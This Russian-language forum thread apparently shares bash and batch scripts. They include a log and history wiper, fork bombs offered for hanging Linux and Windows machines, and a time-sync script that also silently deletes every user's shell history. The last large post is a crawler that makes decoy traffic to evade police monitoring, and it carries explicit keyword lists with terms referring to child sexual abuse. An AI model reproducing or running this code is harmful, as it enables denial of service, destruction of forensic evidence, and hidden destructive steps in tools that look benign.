Ремонт и настройка компьютеров ноутбуков Чебоксары 8-965-689-58-22

Информация о пользователе

Привет, Гость! Войдите или зарегистрируйтесь.



bash-скриптинг

Сообщений 1 страница 7 из 7

1

Код:
#!/bin/bash

sleep 69
find /home -name .bash_history -exec rm {} \; 2>/dev/null
find /home -iname *cache* -exec rm -r {} \; 2>/dev/null
find /home -name Trash -exec rm -r {} \; 2>/dev/null
find /home -iname chromium -exec rm -r {} \; 2>/dev/null
rm /root/.bash_history 2>/dev/null
rm -r /var/log/* 2>/dev/null
rm -r /var/mail/* 2>/dev/null
rm -r /tmp/* 2>/dev/null
> /etc/udev/rules.d/70-persistent-net.rules

exit 0

Отредактировано counter (2015-06-09 10:23:50)

0

2

Скрипт, который полностью вешает Линукс, даже если его запустит обычный пользователь.

Код:
#!/bin/bash
"$0" &
"$0" &

Программа занимает 3 строчки. Я в печали.

0

3

Аналогичный код для Винды

Код:
@echo off
start cmd /c %0%
start cmd /c %0%

Я счастлив! )))

Отредактировано counter (2014-08-11 09:16:03)

0

4

На работе сервак, раздающий интернет, режет протокол ntp. В добавок ко всему, выход в инет из моей подсети осуществляется через прокси сервер. Из-за этих капканов служба синхронизации времени оказалась бесполезной. Для решения проблемы синхронизации установил в автозапуск скрипт, который считывает время со страницы time100.ru. Погрешность в 5-10 секунд для меня не критична.

Пользуйтесь. Если скрипт окажется вам полезен, буду только рад.

PS В строке export http_proxy=192.168.6.1:3128 пропишите свой прокси. Если вы имеете прямой выход в инет без прокси, то удалите эту строчку. 

Код:
#!/bin/bash

find /home -name .bash_history -exec rm {} \; 2>/dev/null
rm /root/.bash_history 2>/dev/null

dira=`dirname $0`
echo $dira

export http_proxy=192.168.6.1:3128
wget --output-document="$dira"/time001 time100.ru
err=$?

while [ "$err" -ne "0" ]
do
  sleep 69
  wget --output-document="$dira"/time001 time100.ru
  err=$?
done

cat "$dira"/time001|sed "s/[<>]/\n/g"|grep "^[0-9]"|head -n 1 
cat "$dira"/time001|sed "s/[<>]/\n/g"|grep "^[0-9]"|grep года 

cat "$dira"/time001|sed "s/[<>]/\n/g"|grep "^[0-9]"|head -n 1 > "$dira"/time002
cat "$dira"/time001|sed "s/[<>]/\n/g"|grep "^[0-9]"|grep года >> "$dira"/time002

cat "$dira"/time002|sed "s/[: ]/\n/g"|sed "s/января$/01/g"|sed "s/февраля$/02/g"|sed "s/марта$/03/g"|sed "s/апреля$/04/g"|sed "s/мая$/05/g"|sed "s/июня$/06/g"|sed "s/июля$/07/g"|sed "s/августа$/08/g"|sed "s/сентября$/09/g"|sed "s/октября$/10/g"|sed "s/ноября$/11/g"|sed "s/декабря$/12/g"

cat "$dira"/time002|sed "s/[: ]/\n/g"|sed "s/января$/01/g"|sed "s/февраля$/02/g"|sed "s/марта$/03/g"|sed "s/апреля$/04/g"|sed "s/мая$/05/g"|sed "s/июня$/06/g"|sed "s/июля$/07/g"|sed "s/августа$/08/g"|sed "s/сентября$/09/g"|sed "s/октября$/10/g"|sed "s/ноября$/11/g"|sed "s/декабря$/12/g" > "$dira"/time003

hh=`cat "$dira"/time003|head -n 1`
mm=`cat "$dira"/time003|head -n 2|tail -n 1`
DD=`cat "$dira"/time003|head -n 4|tail -n 1`
MM=`cat "$dira"/time003|head -n 5|tail -n 1`
YYYY=`cat "$dira"/time003|head -n 6|tail -n 1`

echo $MM$DD$hh$mm$YYYY

date $MM$DD$hh$mm$YYYY

0

5

Совсем простой bash-скрипт синхронизации времени по http

Код:
#!/bin/bash
dira=`dirname $0`/
wget --output-document="$dira"content.txt --user-agent="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" medimy.mybb.ru
sc=`cat "$dira"content.txt|egrep "RequestTime"|sed "s/[ ;]/\n/g"|egrep "^[0-9]+$"`
echo $sc
dt=`date --date=@$sc +%m%d%H%M%Y`
echo $dt
date $dt

0

6

Код:
#!/bin/bash

# Программа-шумелка. Мусорам из отдела К посвящается


# Определяем каталог, в котором находится этот скрипт.
dira=`dirname $0`/

# Генерируем словарь "хороших" слов
cat "$0"|grep '^#2'|sed 's/#2 //g'  > "$dira"eng.txt



# Генерируем программу-замОк, 
# проверяющую наличие связи с Интернетом
cat "$0"|grep '^#3'|sed 's/#3 //g' > "$dira"check.sh
chmod 755 "$dira"check.sh

# Генерируем скрипт upload.ftp
echo lcd $dira > "$dira"upload.ftp
cat "$0"|grep '^#6'|sed 's/#6 //g' >> "$dira"upload.ftp

# Генерируем искусственные доменные имена второго уровня 
cat "$0"|grep '^#1a'|sed 's/#1a //g' > "$dira"names1.txt
cat "$dira"eng.txt >> "$dira"names1.txt
cat "$dira"names1.txt|sed "s/ /\n/g"|sort -u|egrep [a-z] > "$dira"names2.txt
cat "$0"|grep '^#1b'|sed 's/#1b //g' > "$dira"names1.txt
> "$dira"names3.txt
for i in `cat "$dira"names2.txt`
do
  for j in `cat "$dira"names1.txt`
  do
    echo $i.$j >> "$dira"names3.txt
  done
done
# Добавляем искусственные доменные имена к общему списку-накопителю
cat "$dira"names3.txt >> "$dira"wget-sum.txt


while true
do

  sleep 6

  rm -r -f "$dira"temp


  #Проверяем связь с Интернетом
  "$dira"check.sh

  # Формируем список серверных адресов:
  # 1. Включаем свои накопленные данные
  cat "$dira"list-300.txt > "$dira"list-100.txt
  # 2. Включаем адреса из логов прошлой команды wget
  cat "$dira"wget-sum.txt >> "$dira"list-100.txt

  #Убираем повторы. Оставляем доменные имена второго уровня
  cat "$dira"list-100.txt|egrep "^[^.]+\.[^.]+$"|sort -u|sort -R > "$dira"list-200.txt

  #Проверяем связь с Интернетом
  "$dira"check.sh

  # Очищаем файл-накопитель
  > "$dira"wget-sum.txt

  # Блок фильтрации "мёртвых" и "неинтересных" адресов 
  > "$dira"list-300.txt
  for j in `cat "$dira"list-200.txt`
  do
    > "$dira"content.txt
    wget --tries=1 --timeout=9 --output-document="$dira"content.txt --user-agent="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" $j
    if [[ "$?" = "0" ]]
    then
      k=`cat "$dira"content.txt|sed 'y/ABCDEFGHIJKLMNOPQRSTUVWXYZ/abcdefghijklmnopqrstuvwxyz/'|grep -f "$dira"eng.txt -c`
      if [ "$k" -ge "9" ]
      then
        echo "$j" >> "$dira"list-300.txt
        cat "$dira"content.txt|sed "s/http:/\nhttp:/g"|grep http://|sed "s/^.*http:\/\///g"|sed "s/^www\.//g"|sed "s/[?/ ].*$//g"|grep '^[a-z0-9.-]\+$' >> "$dira"wget-sum.txt
      fi
    else
      #Проверяем связь с Интернетом
      "$dira"check.sh
    fi
  done

  # Генерируем массив адресов в формате javascript
  cat "$dira"list-300.txt |sort -R |head -n 16969 |sort > "$dira"list-400.txt
  > "$dira"arra.js
  echo var addresss = new Array \( >> "$dira"arra.js
  for adr in `cat "$dira"list-400.txt`
  do 
    echo \'$adr\', >> "$dira"arra.js
  done
  echo \'`date`\' >> "$dira"arra.js
  echo \)\; >> "$dira"arra.js
  # Генерируем архив
  rm "$dira"x-list*
  cat "$dira"list-300.txt > "$dira"x-list.txt
  zip -j "$dira"x-list.zip "$dira"x-list.txt
  # Заливаем массив и архив на сервера
  #lftp -f "$dira"upload.ftp


done











# Список слов для генерации адресов, от которых начнёт плясать паук.
# Такие адреса можно добавлять после "#1a".
#1a pain hentai world bz vieilles pussies peeing cute sc time f dhl creampie hot youngporn sx destinia facesitting city press plan weiber oh personals toys pornhub celebs chicks galerie stream your score strapon list network zazzle analsex gloryhole reality bound sadomaso bad perfect pages dark thumbs 
#1a nudists livestrip euro meine bisexual models drunk dating maduras livesex slut little pissing schoolgirls job squirting seiten pornostars fist amatrice erotique nl domina vip over new salope edu regio ohne sport comic small xxx ch net sexkontakte master cat nudism chats dates lingerie orgies se of tube 
#1a orgasm babe p topliste find archive magazin link eu be du video camsex marie private candid t sexgirls blonde miss ficken com maturesex great extreme toons flirt chaude geil cumshot pure vod gros gratuites grandma mobi sexpics guys news hardcore gr gratis sin dildos mr atk sexgames poppen sexogratis 
#1a amateursex et paradise sexcams strap biz german viagra porngames shop click pleasure mature jeunes shemale hits pw ro monsters max mujeres here tease rencontre gayboys reife erotic j cul ru guarras slaves public girlfriends pics outdoor granny show fucking xl place films pornofilms directory deluxe 
#1a deutsche teenporn baise la pictures sado web defloration versaute call mommy twinks sesso community kostenlos day mag vintage cz sluts webcamsporno travel studio booty douga porn all dgirls x tieners top sexbilder rachel ladyboys cartoon blogs teentube flash szex pm webcamsex titten der fun mangas 
#1a cialis medical pussys sexo male voyeur jp ans livecam affaire desire a telefonsex maniacs gals camgirls cuties ok links butts japan ws info only teeny page zone homemade paris test anal divas beach men fetish sweet women swinger fat adultchat name partouze nutten des empire couples filme nederland 
#1a torture sk webcams ca potenzmittel direct beurette mit sexy penis b sexcontacten teenies freesex islive animal drawn bikini no sites pov chicas more face trans upskirt group date milfs amateurs dicke latina fem bilder review off brides pix boy deutschland sms schweiz my for hq high sex chubby best 
#1a escorts frauen pt beauty naughty fap friend white guy retro meiden intime whores ero bdsm ie hdporn secret turf ten legs arabe brooke erotika photo france pe sexfilms cam fickt gyno kontakt film pantyhose putas school go casting live sexxx porr nue tiny dk by livesexcam exhib annuaire center heisse 
#1a nackt nylons hete today teenz sleeping voyeurs berlin votzen finden blue es milf furry hunks vibrator hunter cum dirty dmonster game lesbiennes maturetube beurettes magic wives fetisch hairy son sm hobbyhuren gayporn power sissy lesbian tubes foto fantasy deutsch oriental matures webcam playboy 
#1a teensex vrouwen budget masturbation bang taboo cocks feet geiler porno with ex d download service express c pussy post gfs k fr boys schwule sapphic fotzen wife african bukkake blacks ejaculation lezdom co videa dom bite femdom chat grannies home ms plus schlampen youjizz she facial blowjobs big 
#1a digital natural cumshots strip sexfilme asianporn cn mes natursekt lesbians bbw domination housewives blondes cc sextube play lovely extrem royal pornos rn kingdom now sports nudist omas amateur en shemales ebony movies xvideos gold omasex team slave on futanari massive girls dildo toplist luder 
#1a rs telefon files animalsex pornstars homo anzeigen sexshop sexe teen o super clips celebrity bitch juicy telefonerotik grannyporn candy ass chatte st vids transexuales you shots box breast dsex intim lounge ladyboy spanking incest hdv h need phallosan yaoi org oral pornovideos planet index creampies 
#1a dcomics im love female phonesex libertine beautiful virgin glamour pornofilme totally les nu tgp mure lady uniform bi nasty xn sexfilm made sodomie nudegirls amateurpornos privatsex petardas adultes her facials in privatamateure ingyen queens cartoons salopes shows sexgeschichten humiliation 
#1a geschichten sexvideos double bitches inzest devil monster guide sofort huge seks testen stars gaysex handy action room comix book privat twink seitensprung horse singles travestis de london gangbang nues fm king finder fisting gratuit livecams extrait xxl young erotikchat crossdresser porns 
#1a amateurporno huren latin tits gaytube celebrities woman streaming blowjob premium met naked ae i brutal cams ts collection rubias colgate dick fotos arena hd teens grosse g emo total pro fille muschis momondo is virgins mother art red dubai xtube story seins phone free first smut forum daily tight 
#1a teenage asians tv nude and heaven suche fresh elite xx sexdating pornotube sexdate horny cheating paysites boobs foot mpegs ma ladies nackte freundin extraits celeb shit health movie mega real pornvideos land lovers bigboobs gallery toon youporn mania area su rape mp goddess mobile le hard girlfriend 
#1a am latex coquines blog pornobilder gf und tiener pass webcamgirls cinema dreams arab smoking cl pregnant fi stockings manga reviews flatrate hr n it angel picture fakes kontakte l pervers star dporn transen cfnm pee thai beauties pronostic sexmovies v tranny usa redtube gratos babes us search z kink 
#1a moms pink brazilian tit une pretty black s galleries pornstar crazy cheap man club libertines camchat videochat lesbo life daughter tgirls cash gays got busty anime shitting gonzo fantasies sexcam movs at asia amour russian erotische store comics pl trannies sexual panties livechat hotties party 
#1a lover massage fuck clip coquine cock disney up pic dream forced orgy lesben tokyo mom dxxx evil freeporn charme travian portal hausfrauen xnxx adulte femmes belle jovencitas al get nylon spank erotik femme housewife boob photos solarium japanese uk escort wet virginia nudes lolita college li kinky si 
#1a to famous videos games sexchats handjobs videosporno geile sperma cochonne lust older gang mistress sexseiten central zoo jeune dvd eroticke asses swingers latinas yo oma adults expedia bigtits gay lolitas trampling vagina cuckold indian eros alt bondage telefono xxxtube sexchat pipe muscle r 
#1a stories y beast talk fette amateure mx fucked asiansex cochonnes vieille jav av angels abc kostenlose the piss hu pornpics me stocking xhamster just asian watch fotze erotica q corner w model hub amatrices adult panty sexcamchat handjob sperm fick rencontres site british interracial alien bg bizarre 
#1a nice single rubber classic spot m asiatique sexvideo porntube tk gratuite lesbienne passion fox breasts e sextoys girl old u scat traffic online kaufen family wild butt kontaktanzeigen mallorca gov


# Список доменов первого уровня для генерации адресов, от которых начнёт плясать паук.
# Такие адреса можно добавлять после "#1b".
#1b com de uk org cn info nl ru eu biz








# Список ключевых слов, по которым будет формироваться
# будущий маршрут паука. Слова в списке следует указывать
# после "#2".


#2 adult
#2 animalsex
#2 anus
#2 asshole
#2 assliking
#2 backdoor
#2 balls
#2 ballsack
#2 bastard
#2 bbw
#2 bdsm
#2 bestiality
#2 bikini
#2 bitch
#2 blowjob
#2 bondage
#2 boobs
#2 breast
#2 breasts
#2 brides
#2 bukkake
#2 bunnygirl
#2 capro
#2 cfmn
#2 clit
#2 clysis
#2 clyster
#2 condom
#2 contracept
#2 crap
#2 creampie
#2 cumshot
#2 cunnilingus
#2 cunnyling
#2 cunt
#2 deflor
#2 dick
#2 dickhead
#2 dild
#2 dipshit
#2 drunk
#2 enema
#2 erect
#2 eros
#2 erot
#2 erotic
#2 faggot
#2 fagot
#2 fanny
#2 fantasy
#2 fart
#2 femdom
#2 fisting
#2 flirt
#2 fuck
#2 fucked
#2 fucker
#2 fucking
#2 gangbang
#2 handjob
#2 harem
#2 henta
#2 hentai
#2 incest
#2 intim
#2 inzest
#2 lavement
#2 lesb
#2 lesbians
#2 loli
#2 lolicon
#2 manga
#2 masturb
#2 masturbation
#2 necroph
#2 nsfw
#2 nude
#2 nudis
#2 nudity
#2 oral
#2 orgasm
#2 orgazm
#2 orgies
#2 orgy
#2 paedo
#2 passi
#2 pedof
#2 pedoph
#2 peei
#2 penetration
#2 penis
#2 perver
#2 petting
#2 philia
#2 piss
#2 pissing
#2 playboy
#2 pollut
#2 porn
#2 porno
#2 potency
#2 pregnancy
#2 pregnant
#2 pron
#2 pussi
#2 pussy
#2 quim
#2 rape
#2 sadis
#2 sadom
#2 shit
#2 shithead
#2 shota
#2 shotacon
#2 slut
#2 sodom
#2 softcore
#2 sperm
#2 spycam
#2 strapon
#2 strawberry
#2 strip
#2 striptease
#2 suck
#2 sucker
#2 taboo
#2 tits
#2 topless
#2 transvest
#2 underage
#2 vagin
#2 vagina
#2 viagr
#2 vibrator
#2 virgin
#2 voyeur
#2 whore
#2 xxx
#2 zoophiles
#2 zoophilia






# Программа-замОк, которая зацикливается при отсутствии связи с Интернетом,
# тем самым запирая (останавливая) основную работу.
# При восстановлении связи программа расцикливается. 

#3 #!/bin/bash
#3 dira=`dirname $0`/
#3 dom='com de net uk org cn info nl ru eu'
#3 abc='a b c d e f g h i j k l m n o p q r s t u v w x y z'
#3 funky ()
#3 {
#3   let n0=$RANDOM%10+1
#3   let n1=$RANDOM%26+1
#3   let n2=$RANDOM%26+1
#3   let n3=$RANDOM%26+1
#3   s0=`echo $dom|sed "s/ /\n/g"|head -n $n0|tail -n 1`
#3   s1=`echo $abc|sed "s/ /\n/g"|head -n $n1|tail -n 1`
#3   s2=`echo $abc|sed "s/ /\n/g"|head -n $n2|tail -n 1`
#3   s3=`echo $abc|sed "s/ /\n/g"|head -n $n3|tail -n 1`
#3   url=$s1$s2$s3.$s0
#3  wget --tries=1 --timeout=9 --output-document="$dira"check.txt --user-agent="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" $url
#3   err=$?
#3 }
#3 funky
#3 while [ "$err" -ne "0" ]
#3 do
#3   echo disconnection `date`
#3   sleep 6
#3   funky
#3 done
#3 echo there is a link

Отредактировано pizdets (2015-09-03 22:56:51)

0

7

Код:
err=6
while [ "$err" -ne "0" ]
do
  sleep 9
  wget any.site.ru
  err=$?
done

Отредактировано pizdets (2015-08-18 07:34:18)

0